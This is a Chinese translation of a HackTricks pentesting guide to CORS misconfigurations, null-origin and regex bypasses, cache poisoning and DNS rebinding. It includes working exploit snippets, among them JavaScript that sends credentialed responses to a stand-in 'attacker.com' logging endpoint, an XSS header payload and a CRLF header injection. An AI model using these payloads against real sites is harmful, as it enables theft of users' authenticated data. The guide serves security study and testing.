hacktricks/pentesting-web/cors-bypass.md

28 KiB
Raw Blame History

CORS - Misconfigurations & Bypass

{% hint style="success" %} 学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}

{% embed url="https://websec.nl/" %}

什么是 CORS

跨源资源共享 (CORS) 标准 使服务器能够定义谁可以访问其资产哪些 HTTP 请求方法被允许 来自外部来源。

同源 策略要求 请求 资源的服务器和托管 资源 的服务器共享相同的协议(例如,http://)、域名(例如,internal-web.com)和 端口例如80。在此策略下仅允许来自同一域和端口的网页访问资源。

http://normal-website.com/example/example.html 的上下文中应用同源策略如下所示:

访问的 URL 是否允许访问?
http://normal-website.com/example/ 是:相同的协议、域名和端口
http://normal-website.com/example2/ 是:相同的协议、域名和端口
https://normal-website.com/example/ 否:不同的协议和端口
http://en.normal-website.com/example/ 否:不同的域名
http://www.normal-website.com/example/ 否:不同的域名
http://normal-website.com:8080/example/ 否:不同的端口*

*Internet Explorer 在执行同源策略时忽略端口号,因此允许此访问。

Access-Control-Allow-Origin

此头可以允许 多个源null 值或通配符 *。然而,没有浏览器支持多个源,并且使用通配符 * 受到 限制。(通配符必须单独使用,且与 Access-Control-Allow-Credentials: true 一起使用是不允许的。)

此头是 由服务器发出 的,以响应由网站发起的跨域资源请求,浏览器会自动添加 Origin 头。

Access-Control-Allow-Credentials

默认情况下,跨源请求是在没有凭据(如 cookies 或 Authorization 头)的情况下进行的。然而,跨域服务器可以通过将 Access-Control-Allow-Credentials 头设置为 true 来允许在发送凭据时读取响应。

如果设置为 true浏览器将传输凭据cookies、授权头或 TLS 客户端证书)。

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF 预检请求

理解跨域通信中的预检请求

在特定条件下发起跨域请求时,例如使用 非标准 HTTP 方法(除了 HEAD、GET、POST 以外的任何方法)、引入新的 头部,或使用特殊的 Content-Type 头部值,可能需要进行预检请求。这个初步请求利用 OPTIONS 方法,旨在通知服务器即将到来的跨源请求的意图,包括它打算使用的 HTTP 方法和头部。

跨源资源共享 (CORS) 协议要求进行此预检检查,以确定请求的跨源操作的可行性,通过验证允许的方法、头部和来源的可信度。有关哪些条件可以绕过预检请求的详细理解,请参考 Mozilla 开发者网络 (MDN) 提供的综合指南。

需要注意的是,缺少预检请求并不意味着响应不需要携带授权头部。没有这些头部,浏览器将无法处理来自跨源请求的响应。

考虑以下示例,展示了一个旨在使用 PUT 方法和名为 Special-Request-Header 的自定义头部的预检请求:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

作为响应服务器可能会返回指示接受的方法、允许的来源和其他CORS策略细节的头部如下所示

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: 此头部指定在实际请求中可以使用哪些头部。它由服务器设置,以指示客户端请求中允许的头部。
  • Access-Control-Expose-Headers: 通过此头部,服务器通知客户端哪些头部可以作为响应的一部分被暴露,除了简单的响应头部。
  • Access-Control-Max-Age: 此头部指示预检请求的结果可以缓存多长时间。服务器设置预检请求返回的信息可以重用的最大时间(以秒为单位)。
  • Access-Control-Request-Headers: 在预检请求中使用此头部由客户端设置以通知服务器客户端希望在实际请求中使用哪些HTTP头部。
  • Access-Control-Request-Method: 此头部也在预检请求中使用由客户端设置以指示在实际请求中将使用哪个HTTP方法。
  • Origin: 此头部由浏览器自动设置指示跨源请求的来源。服务器使用它来评估根据CORS策略是否应允许或拒绝传入请求。

请注意,通常情况下(取决于内容类型和设置的头部)在GET/POST请求中不会发送预检请求(请求是直接发送的),但如果您想访问响应的头部/主体,它必须包含一个允许的 Access-Control-Allow-Origin 头部。
因此CORS并不能防止CSRF但它可能有帮助

本地网络请求预检请求

  1. Access-Control-Request-Local-Network: 此头部包含在客户端的请求中,以表明该请求是针对本地网络资源的。它作为一个标记,通知服务器请求源自本地网络内。
  2. Access-Control-Allow-Local-Network: 作为响应,服务器利用此头部来传达请求的资源被允许与本地网络外的实体共享。它作为跨越不同网络边界共享资源的绿灯,确保在维护安全协议的同时实现受控访问。

一个有效的响应允许本地网络请求还需要在响应中包含头部 Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} 请注意linux 0.0.0.0 IP 可以用来 绕过 这些要求以访问 localhost因为该 IP 地址不被视为“本地”。

如果使用 本地端点的公共 IP 地址(例如路由器的公共 IP也可以 绕过本地网络要求。因为在多种情况下,即使正在访问 公共 IP,如果它是 来自本地网络,也会被允许访问。 {% endhint %}

通配符

请注意,即使以下配置看起来非常宽松:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

这在浏览器中是不允许的,因此凭据不会随请求发送。

可利用的错误配置

已观察到将 Access-Control-Allow-Credentials 设置为 true 是大多数 真实攻击 的前提条件。此设置允许浏览器发送凭据并读取响应,从而增强攻击的有效性。如果没有这个,利用用户的 cookies 的好处就会减少,因为利用用户的 cookies 变得不可行。

例外:利用网络位置作为身份验证

存在一个例外情况,即受害者的网络位置作为一种身份验证形式。这允许受害者的浏览器作为代理,绕过基于 IP 的身份验证以访问内网应用程序。这种方法在影响上与 DNS 重新绑定相似,但更容易利用。

OriginAccess-Control-Allow-Origin 中的反射

在现实场景中,Origin 头的值反射在 Access-Control-Allow-Origin 中在理论上是不太可能的,因为对这些头的组合有限制。然而,寻求为多个 URL 启用 CORS 的开发人员可能会通过复制 Origin 头的值动态生成 Access-Control-Allow-Origin 头。这种方法可能引入漏洞,特别是当攻击者使用一个看似合法的域名时,从而欺骗验证逻辑。

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

利用 null

null 源在重定向或本地 HTML 文件等情况中指定,具有独特的地位。一些应用程序将此源列入白名单以促进本地开发,无意中允许任何网站通过沙箱 iframe 模仿 null 源,从而绕过 CORS 限制。

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

正则表达式绕过技术

当遇到域名白名单时,测试绕过机会至关重要,例如将攻击者的域名附加到白名单域名或利用子域名接管漏洞。此外,用于域名验证的正则表达式可能会忽视域名命名规则中的细微差别,从而提供进一步的绕过机会。

高级正则表达式绕过

正则表达式模式通常集中于字母数字、点 (.) 和连字符 (-) 字符忽略其他可能性。例如构造一个包含浏览器和正则表达式模式以不同方式解释的字符的域名可以绕过安全检查。Safari、Chrome 和 Firefox 对子域名中下划线字符的处理说明了如何利用这些差异来规避域名验证逻辑。

有关此绕过检查的更多信息和设置: https://www.corben.io/advanced-cors-techniques/ https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

从子域名中的 XSS

开发人员通常实施防御机制,以通过白名单允许请求信息的域名来保护免受 CORS 利用。尽管采取了这些预防措施,但系统的安全性并非万无一失。在白名单域名中,即使存在一个脆弱的子域名,也可能通过其他漏洞(如 XSS跨站脚本打开 CORS 利用的大门。

例如,考虑一个场景,其中域名 requester.com 被列入白名单以访问另一个域名 provider.com 的资源。服务器端配置可能如下所示:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

在这个设置中,requester.com 的所有子域都被允许访问。然而,如果一个子域,比如 sub.requester.com,存在 XSS 漏洞,攻击者可以利用这个弱点。例如,拥有 sub.requester.com 访问权限的攻击者可以利用 XSS 漏洞绕过 CORS 策略,恶意访问 provider.com 上的资源。

特殊字符

PortSwigger 的 URL 验证绕过备忘单 发现某些浏览器支持域名中的奇怪字符。

Chrome 和 Firefox 支持下划线 _,可以绕过用于验证 Origin 头的正则表达式:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari 对于接受域名中的特殊字符更加宽松:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

服务器端缓存中毒

来自这项研究

通过HTTP头注入利用服务器端缓存中毒有可能诱发存储的跨站脚本XSS漏洞。当应用程序未能清理Origin头中的非法字符时这种情况就会发生特别是对Internet Explorer和Edge用户而言。这些浏览器将(0x0d)视为合法的HTTP头终止符从而导致HTTP头注入漏洞。

考虑以下请求,其中Origin头被操控:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer 和 Edge 将响应解释为:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

虽然通过使网络浏览器发送格式错误的头部直接利用此漏洞并不可行,但可以使用像 Burp Suite 这样的工具手动生成一个精心制作的请求。此方法可能导致服务器端缓存保存响应,并无意中将其提供给其他人。精心制作的有效载荷旨在将页面的字符集更改为 UTF-7这是一种字符编码通常与 XSS 漏洞相关,因为它能够以某种方式编码字符,使其在特定上下文中可以作为脚本执行。

有关存储型 XSS 漏洞的进一步阅读,请参见 PortSwigger

注意:利用 HTTP 头注入漏洞,特别是通过服务器端缓存中毒,强调了验证和清理所有用户提供输入(包括 HTTP 头)的重要性。始终采用包括输入验证在内的强大安全模型,以防止此类漏洞。

客户端缓存中毒

来自这项研究

在这种情况下,观察到一个网页实例反映了未正确编码的自定义 HTTP 头的内容。具体而言,网页反映了包含在 X-User-id 头中的内容,这可能包括恶意 JavaScript如示例所示其中头部包含一个 SVG 图像标签,旨在在加载时执行 JavaScript 代码。

跨源资源共享 (CORS) 策略允许发送自定义头部。然而,由于 CORS 限制,响应未被浏览器直接呈现,这种注入的实用性似乎有限。关键点在于考虑浏览器的缓存行为。如果未指定 Vary: Origin 头,则恶意响应可能会被浏览器缓存。随后,当导航到该 URL 时,这个缓存的响应可能会被直接呈现,绕过初始请求时直接呈现的需要。此机制通过利用客户端缓存增强了攻击的可靠性。

为了说明此攻击,提供了一个 JavaScript 示例,旨在在网页环境中执行,例如通过 JSFiddle。该脚本执行一个简单的操作它向指定的 URL 发送一个包含恶意 JavaScript 的自定义头的请求。在请求成功完成后,它尝试导航到目标 URL如果响应在未正确处理 Vary: Origin 头的情况下被缓存,可能会触发注入脚本的执行。

以下是用于执行此攻击的 JavaScript 的简要分解:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI也称为跨站脚本包含是一种利用同源策略SOP在使用脚本标签包含资源时不适用的漏洞。这是因为脚本需要能够从不同域包含。此漏洞允许攻击者访问和读取任何使用脚本标签包含的内容。

当涉及动态JavaScript或JSONP带填充的JSON这个漏洞尤其重要特别是当使用像cookies这样的环境权限信息进行身份验证时。当从不同主机请求资源时cookies会被包含使攻击者可以访问。

为了更好地理解和缓解此漏洞,您可以使用可在https://github.com/kapytein/jsonp找到的BurpSuite插件。此插件可以帮助识别和解决您Web应用程序中的潜在XSSI漏洞。

在这里阅读有关不同类型的XSSI及其利用方式的更多信息。

尝试在请求中添加一个**callback** 参数。也许页面准备将数据作为JSONP发送。在这种情况下页面将以Content-Type: application/javascript返回数据从而绕过CORS策略。

Easy (useless?) bypass

绕过Access-Control-Allow-Origin限制的一种方法是请求Web应用程序代表您发出请求并发送回响应。然而在这种情况下最终受害者的凭据不会被发送因为请求是发往不同的域。

  1. CORS-escape此工具提供一个代理转发您的请求及其头同时伪造Origin头以匹配请求的域。这有效地绕过了CORS政策。以下是使用XMLHttpRequest的示例
  2. simple-cors-escape:此工具提供了一种替代的请求代理方法。服务器不是直接传递您的请求,而是使用指定的参数发出自己的请求。

Iframe + Popup Bypass

您可以通过创建一个iframe从中打开一个新窗口绕过CORS检查,例如e.origin === window.origin。更多信息请参见以下页面:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

DNS Rebinding via TTL

通过TTL进行DNS重绑定是一种通过操纵DNS记录来绕过某些安全措施的技术。其工作原理如下

  1. 攻击者创建一个网页并使受害者访问它。
  2. 攻击者然后更改其自己域的DNSIP指向受害者的网页。
  3. 受害者的浏览器缓存DNS响应可能具有TTL生存时间指示DNS记录应被视为有效的时间。
  4. 当TTL过期时受害者的浏览器发出新的DNS请求允许攻击者在受害者的页面上执行JavaScript代码。
  5. 通过保持对受害者IP的控制攻击者可以在不向受害者服务器发送任何cookies的情况下从受害者那里收集信息。

需要注意的是浏览器具有缓存机制可能会阻止立即滥用此技术即使TTL值较低。

DNS重绑定对于绕过受害者执行的显式IP检查或用户或机器人在同一页面上停留较长时间的场景非常有用从而允许缓存过期。

如果您需要快速滥用DNS重绑定可以使用像https://lock.cmpxchg8b.com/rebinder.html这样的服务。

要运行自己的DNS重绑定服务器您可以利用像DNSrebinderhttps://github.com/mogwailabs/DNSrebinder这样的工具。这涉及到暴露您的本地端口53/udp创建一个指向它的A记录例如ns.example.com并创建一个指向先前创建的A子域的NS记录例如ns.example.com。ns.example.com子域的任何子域将由您的主机解析。

您还可以访问http://rebind.it/singularity.html上的公共运行服务器,以进一步理解和实验。

DNS Rebinding via DNS Cache Flooding

通过DNS缓存洪水进行DNS重绑定是另一种用于绕过浏览器缓存机制并强制第二个DNS请求的技术。其工作原理如下

  1. 最初当受害者发出DNS请求时响应为攻击者的IP地址。
  2. 为了绕过缓存防御攻击者利用服务工作者。服务工作者洪水式地填充DNS缓存这有效地删除了缓存的攻击者服务器名称。
  3. 当受害者的浏览器发出第二个DNS请求时现在响应为IP地址127.0.0.1,这通常指的是本地主机。

通过使用服务工作者洪水填充DNS缓存攻击者可以操纵DNS解析过程并强制受害者的浏览器发出第二个请求这次解析为攻击者所需的IP地址。

DNS Rebinding via Cache

绕过缓存防御的另一种方法是利用DNS提供商中同一子域的多个IP地址。其工作原理如下

  1. 攻击者在DNS提供商中为同一子域设置两个A记录或一个具有两个IP的A记录
  2. 当浏览器检查这些记录时它接收到两个IP地址。
  3. 如果浏览器决定首先使用攻击者的IP地址攻击者可以提供一个有效负载执行对同一域的HTTP请求。
  4. 然而一旦攻击者获得受害者的IP地址他们就停止响应受害者的浏览器。
  5. 受害者的浏览器在意识到该域无响应后转而使用第二个给定的IP地址。
  6. 通过访问第二个IP地址浏览器绕过同源策略SOP允许攻击者滥用这一点并收集和外泄信息。

此技术利用了浏览器在为域提供多个IP地址时的行为。通过战略性地控制响应并操纵浏览器的IP地址选择攻击者可以利用SOP并访问受害者的信息。

{% hint style="warning" %} 请注意为了访问localhost您应该尝试在Windows中重新绑定127.0.0.1在Linux中重新绑定0.0.0.0
像godaddy或cloudflare这样的提供商不允许我使用IP 0.0.0.0但AWS route53允许我创建一个具有两个IP的A记录其中一个是"0.0.0.0"

{% endhint %}

有关更多信息,您可以查看https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • 如果不允许内部IP,他们可能忘记禁止0.0.0.0在Linux和Mac上有效
  • 如果不允许内部IP,则响应CNAMElocalhost在Linux和Mac上有效
  • 如果不允许内部IP作为DNS响应您可以响应CNAME到内部服务例如www.corporate.internal。

DNS Rebidding Weaponized

您可以在演讲Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference中找到有关先前绕过技术的更多信息以及如何使用以下工具。

Singularity of Origin是一个执行DNS重绑定攻击的工具。它包括将攻击服务器DNS名称的IP地址重新绑定到目标机器的IP地址并提供攻击有效负载以利用目标机器上脆弱软件所需的组件。

Real Protection against DNS Rebinding

Tools

Fuzz可能的CORS政策配置错误

References

{% embed url="https://websec.nl/" %}

{% hint style="success" %} 学习和实践AWS黑客攻击HackTricks Training AWS Red Team Expert (ARTE)
学习和实践GCP黑客攻击HackTricks Training GCP Red Team Expert (GRTE)

支持HackTricks
{% endhint %}